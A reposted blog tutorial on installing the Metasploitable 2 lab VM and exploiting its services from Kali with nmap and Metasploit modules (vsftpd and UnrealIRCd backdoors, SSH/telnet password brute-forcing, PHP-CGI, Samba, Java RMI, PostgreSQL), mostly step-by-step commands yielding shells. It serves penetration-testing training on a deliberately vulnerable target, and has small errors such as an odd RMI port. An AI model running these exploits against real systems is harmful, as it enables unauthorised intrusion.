Metasploit 的安装和在渗透测试中的简单应用

逃离我推掉我的手 2022-05-26 05:38 252阅读 0赞

Metasploitable is a voluntarily created vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities Based virtual machine which helps us to conduct security training, test security tools, and practice common penetration testing techniques. The VM will run on any recent VMware products and other visualization technologies such as VirtualBox. You can download metasploitable from–>[https://www.vulnhub.com/entry/metasploitable-2,29/][https_www.vulnhub.com_entry_metasploitable-2_29]

Metasploit table is an exploitable framework which help us to improve our skills and also help use to use every port to our advantage as we all know that ports and protocols are the foundation of hacking so, therefore, the more you can take benefit off of the victim.

In this we will walk through the whole concept of metasploitable including how to install it and how to hack it step by step. We will take all the ports one by one which re vulnerable and try to exploit them. So, firstly you have to download metasploit from the above link. After the downloading is complete open VMware and click on Open a virtual machine.

![1.png_w_687_ssl_1][]

Locate the VMware image of metasploitable that you just downloaded and click on OK.

![2.png_w_687_ssl_1][]

After clicking on OK the metasploitable will open in virtual machine and to run it just click on Power on this virtual machine and it will run your metasploitable.

![3.png_w_687_ssl_1][]

On the verge of getting started it will ask you for username and password. Now, by default the username and passwords are: msfadmin and msfadmin respectively. Once you enter username and password your metasploitable will start.

Now that our vulnerable Linux machine is running and now type the ifconfig command to get the IP address

![4.png_w_687_ssl_1][]

Now for penetration testing on the metasploitable go to the terminal of your Kali Linux and scan the IP of metasploitable through nmap so that we can which ports are open and this type:

nmap -sV 192.168.1.106

![5.png_w_687_ssl_1][]

Due to the nmap command we can see which port is open and which service is going on which port, therefore, we can start our attack one by one to every vulnerable port. So, first we will attack on vsftpd2.3.4. As we know that this version is vulnerable, so let us exploit it. For this, open metasploit and type:

search vsftpd 2.3.4

![6.png_w_687_ssl_1][]

Typing the above command will show the exploits that will help you in attack the said version. So further type:

use exploit/unix/ftp/vsftpd\_234\_backdoor

set rhost 192.168.1.106

set rport 21

exploit

![7.png_w_687_ssl_1][]

Once your attack is executed, you will reach in the shell of the metasploitable and so now you can do as you deserve.

Now, we will exploit ssh which works on port number 22. There is already existing exploit for this port. It will help us to apply dictionary attack to crack the password of metasploitable and so we will use it as :

use auxiliary/scanner/ssh/ssh\_login

set rhosts 192.168.1.106

set rport 22

set user\_file /root/Desktop/user.txt

set pass\_file /root/Desktop/pass.txt

exploit

![8.png_w_687_ssl_1][]

As you can see, after the execution of the file it will start matching all the username with the passwords to find the correct one. And in the end you will have your password along with the username.

Now we can use that password to the shell of metasploitable and for this just got to the terminal of Kali and type:

ssh msfadmin@192.168.1.106

Here,

ssh –> is the service through which we are exploiting

msfadmin –> is the password

192.168.1.106 –> is the victim’s IP address

![9.png_w_687_ssl_1][]

Upon execution you can see that you will automatically enter its shell.

Now, we will try and attack via telnet which works on port 23. This port will also help us to find password first and then we can enter its shell. So, for this type:

use auxiliary/scanner/telnet/telnet\_login

set rhosts 192.168.1.106

set rport 23

set user\_file /root/Desktop/user.txt

set pass\_file /root/Desktop/pass.txt

exploit![10.png_w_687_ssl_1][]

Similarly, as ssh, it will also start dictionary attack and step by step it will find the correct password. Now that you have the password you can log on to metasploitable.

telnet 192.168.1.106

After typing so, it will ask you for the username and password and once you enter these you will enter the metasploitable as shown below:

![11.png_w_687_ssl_1][]

Now we will try to exploit the port number 80 on which http services run. For this too there is a pre-installed exploit in metasploit and to exercise the said exploit type:

use exploit/multi/http/php\_cgi\_arg\_injection

set rhost 192.168.1.106

set rport 80

exploit

![12.png_w_687_ssl_1][]

After the execution you will enter a meterpreter session of metasploitable as shown.

Next we will try to exploit the samba service that is going on the port number 139. For that we will use the following exploit:

use exploit/multi/samba/usermap\_script

set rhost 192.168.1.106

set rport 139

exploit

![13.png_w_687_ssl_1][]

The execution of this will take you the shell session of metasploit that means you will reach the shell of metasploit.

Now, we will use the following exploit:

use exploit/multi/misc/java\_rmi\_server

set rhost 192.168.1.106

set rport 1899

exploit![14.png_w_687_ssl_1][]

Again, after you hit enter button on your keyboard you will have a meterpreter session.

The next exploit is:

use exploit/linux/postgres/postgres\_payload

set rhost 192.168.1.106

set rport 5432

exploit

![16.png_w_687_ssl_1][]

Once the command is executed you will enter the meterpreter session as shown above.

The exploit that use is related to unreal ircd and to search its exploit type :

search Unreal ircd

And the result will be exploits which will help you to attack the victim. As you can see there are three exploits and we will use the latest one.

![17.png_w_687_ssl_1][]

To the exploit type:

use exploit/unix/irc/unreal\_ircd\_3281\_backdoor

set rhost 192.168.1.106

set rport 6667

exploit

![18.png_w_687_ssl_1][]

And when you will hit enter you will obtain a shell session meaning you will enter the shell of the metasploitable.

These are all the attacks that you can use against metasploitable and in the process you can learn how to attack a real life victim using different ports.

Author: Yashika Dhir is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast. contact [here][]

You might also like:

Automating Exploitation of Remote PC using Metasploithelper

Beyond Bitcoin: The Economics of Digital Currencies

Hack Remote Windows Password using Phishing Login Prompt ...

Hack Remote Windows PC using Adobe Flash Player Byte ...

Hacking Exposed Wireless, 3rd Edition: Wireless Security ...

[Linkwithin][]

[https_www.vulnhub.com_entry_metasploitable-2_29]: https://www.vulnhub.com/entry/metasploitable-2,29/
[1.png_w_687_ssl_1]: http://i2.wp.com/4.bp.blogspot.com/-XMSlMPD8EtE/V8CTBjhv1zI/AAAAAAAANPk/xash5H8HRvEzCGV6CsFyf0AGxD2n9BPnACLcB/s1600/1.png?w=687&ssl=1
[2.png_w_687_ssl_1]: http://i1.wp.com/1.bp.blogspot.com/-HRg-BZxx7X0/V8CTRLdhYxI/AAAAAAAANQI/0fMrj_96EYkIFJOSeyjHpcmqAZ7WBOorACLcB/s1600/2.png?w=687&ssl=1
[3.png_w_687_ssl_1]: /images/20220526/d3517d17dc354efb9f98ff96fdd73ab5.png
[4.png_w_687_ssl_1]: /images/20220526/ef15a03162f64b50a59769ae1779e3e4.png
[5.png_w_687_ssl_1]: /images/20220526/b5ec6877697b441daf339d9df7aec02e.png
[6.png_w_687_ssl_1]: /images/20220526/8f25f74f980243509ecce9e20b25ba1d.png
[7.png_w_687_ssl_1]: http://i2.wp.com/4.bp.blogspot.com/-8G1EnKq9ZDw/V8CTWTAcsOI/AAAAAAAANQg/Jp7JWAJo6HsCGsJZRemwxZLABZWQsQvEQCLcB/s1600/7.png?w=687&ssl=1
[8.png_w_687_ssl_1]: http://i2.wp.com/2.bp.blogspot.com/-f244IatP4SU/V8CTZNtdwCI/AAAAAAAANQk/YvEaJ31ujQQtG7DwxK0eJrBxgCzP3ATgACLcB/s1600/8.png?w=687&ssl=1
[9.png_w_687_ssl_1]: /images/20220526/3f0136c2b6de404b952a340e3241beca.png
[10.png_w_687_ssl_1]: http://i2.wp.com/1.bp.blogspot.com/-1ztnfu_D4Js/V8CTFhZwxCI/AAAAAAAANPs/vVtFQxb5Ymw2jv5XGn_1UTSzgFWIqNcwACLcB/s1600/10.png?w=687&ssl=1
[11.png_w_687_ssl_1]: http://i2.wp.com/4.bp.blogspot.com/-H6G0hP1k-GE/V8CTEZqH18I/AAAAAAAANPo/h5Wwf1Zw_OMWidn4Eod2DG4wTH9LOGTywCLcB/s1600/11.png?w=687&ssl=1
[12.png_w_687_ssl_1]: /images/20220526/e85ab25abc2d44a49b1acbe549fb09d6.png
[13.png_w_687_ssl_1]: /images/20220526/0c32e82ae0974fb8b84d5d8cd5437526.png
[14.png_w_687_ssl_1]: http://i2.wp.com/4.bp.blogspot.com/-8k1aaSB5jXE/V8CTMAw4nLI/AAAAAAAANP4/-_6mMBmTDRcRXpdCmZ3Xk3l8zc1iCEJOACLcB/s1600/14.png?w=687&ssl=1
[16.png_w_687_ssl_1]: /images/20220526/5b04c48e54e74a059893a55c84cc18d8.png
[17.png_w_687_ssl_1]: /images/20220526/b583a980b71445b3ad4f2839ee86193f.png
[18.png_w_687_ssl_1]: /images/20220526/2e35e280817f4031bb52ed7a31be0800.png
[here]: https://www.linkedin.com/in/yashika-dhir-b94722a3?trk=pulse-det-athr_prof-art_hdr
[Linkwithin]: http://www.linkwithin.com/learn?ref=widget